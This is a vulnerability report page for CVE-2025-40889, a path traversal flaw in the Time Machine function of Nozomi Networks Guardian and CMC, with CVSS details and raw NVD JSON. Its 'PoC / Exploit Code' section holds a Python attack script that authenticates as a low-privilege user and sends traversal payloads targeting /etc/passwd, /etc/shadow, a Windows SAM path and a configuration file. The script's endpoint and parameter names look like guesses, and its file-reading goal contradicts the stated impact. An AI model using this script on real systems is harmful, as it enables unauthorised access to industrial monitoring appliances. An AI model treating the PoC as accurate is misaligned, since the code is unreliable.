Security Vulnerability Report
中文
CVE-2025-40889 CVSS 8.1 HIGH

CVE-2025-40889

Published: 2025-10-07 13:15:35
Last Modified: 2025-10-09 16:37:35

Description

A path traversal vulnerability was discovered in the Time Machine functionality due to missing validation of two input parameters. An authenticated user with limited privileges, by issuing a specifically-crafted request, can potentially alter the structure and content of files in the /data folder, and/or affect their availability.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:* - VULNERABLE
Nozomi Networks Guardian(Time Machine功能受影响版本,具体版本范围参考官方公告NN-2025:9-01)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40889 - Nozomi Networks Guardian Time Machine Path Traversal PoC # Author: Security Researcher # Description: Exploits missing input validation in Time Machine functionality import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-guardian.example.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "low_priv_user" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_url = f"{TARGET_URL}/api/auth/login" login_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_payload, verify=False) if response.status_code != 200: print("[!] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit path traversal via Time Machine endpoint # The vulnerable endpoint accepts two parameters without proper validation tm_url = f"{TARGET_URL}/api/timemachine/retrieve" # Path traversal payloads targeting files outside /data directory payloads = [ # Attempt to read sensitive system files {"param1": "backup", "param2": "../../../etc/passwd"}, {"param1": "backup", "param2": "..\\..\\..\\windows\\system32\\config\\SAM"}, # Attempt to overwrite critical configuration files {"param1": "../../../etc/guardian/config.conf", "param2": "restore"}, {"param1": "backup", "param2": "../../data/../etc/shadow"}, ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Trying payload {i}: {payload}") try: resp = session.get(tm_url, params=payload, verify=False, timeout=10) print(f"[+] Status: {resp.status_code}") if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] Response preview: {resp.text[:200]}") print("[!] Possible successful exploitation!") except Exception as e: print(f"[-] Error: {e}") print("\n[*] Exploitation attempt completed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40889", "sourceIdentifier": "[email protected]", "published": "2025-10-07T13:15:35.170", "lastModified": "2025-10-09T16:37:35.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability was discovered in the Time Machine functionality due to missing validation of two input parameters. An authenticated user with limited privileges, by issuing a specifically-crafted request, can potentially alter the structure and content of files in the /data folder, and/or affect their availability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.2.0", "matchCriteriaId": "6EE8E12E-EBAC-4B34-9D31-F68195E1F5CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.2.0", "matchCriteriaId": "81AC5154-CA70-4917-8B33-D7AD5B57C683"}]}]}], "references": [{"url": "https://security.nozominetworks.com/NN-2025:9-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}